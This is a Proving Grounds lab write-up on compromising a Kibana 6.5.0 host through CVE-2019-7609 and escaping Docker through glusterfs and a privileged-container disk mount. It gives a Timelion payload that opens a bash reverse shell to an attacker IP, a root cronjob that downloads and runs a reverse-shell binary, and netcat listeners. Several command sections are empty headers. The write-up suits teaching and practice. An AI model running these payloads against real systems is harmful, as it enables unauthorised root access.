OFFSEC PG PRACTICE KIBANA GLUSTERFS DOCKER ESCAPE
Table of Contents

Summary
#

Initial access can be through provided credentials and SSH or exploiting a Kibana application running on port 5601. This version 6.5.0 is vulnerable for an arbitrary code execution (CVE-2019-7609). Once exploited and initial access we find ourselves in a Docker environment. There are two privilege escalation paths, one is directly mounting the host filesystem within the Docker. The other is exploiting a running service called glusterfs (CVE-2018-1088). We mount an unmounted device and create a new cronjob to download and run our created msfvenom reverse shell to escalate to the root user on the host system.

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir sirol && cd sirol && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28

## set bash variable

## ping target to check if it's online

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

On port 5601 we find an application called Kibana.

Select Try our sample data and select in this example in the Sample eCommerce orders card, Add. You can also select Explore on my own if you don’t want any data being loaded.

When we click on Discover we get to see the imported sample data.

When we look at the source code (CTRL+U in the browser) of the page, there is a version number 6.5.0 of this Kibana application. Searching the internet for an exploit, we can find: https://github.com/mpgn/CVE-2019-7609, this CVE (CVE-2019-7609) is an arbitrary code execution vulnerability in Kibana’s Timelion visualizer with versions < 6.6.0. In the example given we first need our local IP address and setup a listener.

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500

    inet6 fe80::d6d4:6f1:9578:903c/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup a listener
nc -lvnp 80
listening on [any] 80 ...

Now select the Timelion menuitem and drop our payload, click on the play-button, then select Canvas in the menu to trigger the payload and catch the reverse shell as the root user.

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/192.168.45.204/80 0>&1\'");//')

## catch the reverse shell

However, when we list the content of the root directory we’re in a Docker environment (.dockerenv) or print the hostname / see the prompt name. We could also have seen that, looking at the NMAP output. Port 5601 has a TTL of 60, while all others have a TTL of 61. So, we’re not on the host.

Privilege Escalation
#

First, let’s get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
root@0873e8062560:/# export TERM=xterm
root@0873e8062560:/# stty columns 200 rows 200

Privilege Escalation - Path 1
#

Let’s upload linpeas.sh to the target and run it. Because there is no curl or wget on the docker, we’re going to base64 encode linpeas.sh and write it to linpeas.sh.b64, copy this file to the clipboard and paste/decode on the target to get the file copied.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500

    inet6 fe80::d6d4:6f1:9578:903c/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## base64 encode `linpeas.sh` without newlines and write to `linpeas.sh.b64` 
sudo base64 ./linpeas.sh | tr -d \\n  > linpeas.sh.b64

## on target
## change directory

## set the execution bit

## run `linpeas.sh`

The linpeas.sh output shows there are unmounted devices which we probably can mount. Also glusterfs is running. We can see this by the open port 24007 and/or by listing the processes. When searching for a glusterfs exploit we can find: https://github.com/MauroEldritch/GEVAUDAN (CVE-2018-1088).

This exploit allows use to get root user on the host system. However, the exploit is in Ruby, which we don’t have in the Docker. We need to mount a share to a server share containing the gcron_enabled file and insert a malicious cronjob to execute a reverse shell on the primary host. First we create a msfvenom .elf reverse shell file which we can trigger in the cronjob, setup a listener on an already open port (port 3306) and start a local webserver to host the revshell file.

## generate payload using msfvenom

Now, let’s create a temporary directory, mount the unmounted device (172.17.0.1:/gluster_shared_storage) to it, using glusterfs and setup the cronjob in the /snaps/gcron_enabled file and catch the reverse shell.

## make directory `whatever`
root@0873e8062560:/var/tmp# mkdir whatever

## mount `172.17.0.1:/gluster_shared_storage` to `/var/tmp/whatever`
root@0873e8062560:/var/tmp# /sbin/mount.glusterfs 172.17.0.1:/gluster_shared_storage /var/tmp/whatever

## write cronjob to `/var/tmp/whatever/snaps/gcron_enabled`
echo '* * * * * root /bin/bash -c "/usr/bin/wget http://192.168.45.204/revshell -O /var/tmp/revshell && chmod 777 /var/tmp/revshell && /var/tmp/revshell"' > /var/tmp/whatever/snaps/gcron_enabled

## print `whatever/snaps/gcron_enabled`
root@0873e8062560:/var/tmp# cat whatever/snaps/gcron_enabled 
* * * * * root /bin/bash -c "/usr/bin/wget http://192.168.45.204/revshell -O /var/tmp/revshell && chmod 777 /var/tmp/revshell && /var/tmp/revshell"

## catch the reverse shell
nc -lvnp 3306   
listening on [any] 3306 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.137.54] 46388

Privilege Escalation - Path 2
#

Because glusterfs runs in a privileged container we can escalate our privileges directly by mounting the host filesystem in the Docker and change the root directory.

## change directory
cd /var/tmp

## list file system space usage using `df` 
root@0873e8062560:/var/tmp# df -h
Filesystem      Size  Used Avail Use% Mounted on
overlay          18G  4.1G   13G  25% /
tmpfs            64M     0   64M   0% /dev
tmpfs           2.0G     0  2.0G   0% /sys/fs/cgroup
shm              64M     0   64M   0% /dev/shm
/dev/sda1        18G  4.1G   13G  25% /home/trent


## make temp directory and mount `mount /dev/sda1` in it and change root directory
root@0873e8062560:/var/tmp# mkdir /hdd && mount /dev/sda1 /hdd && chroot /hdd

## print current user
# whoami

## list content current directory
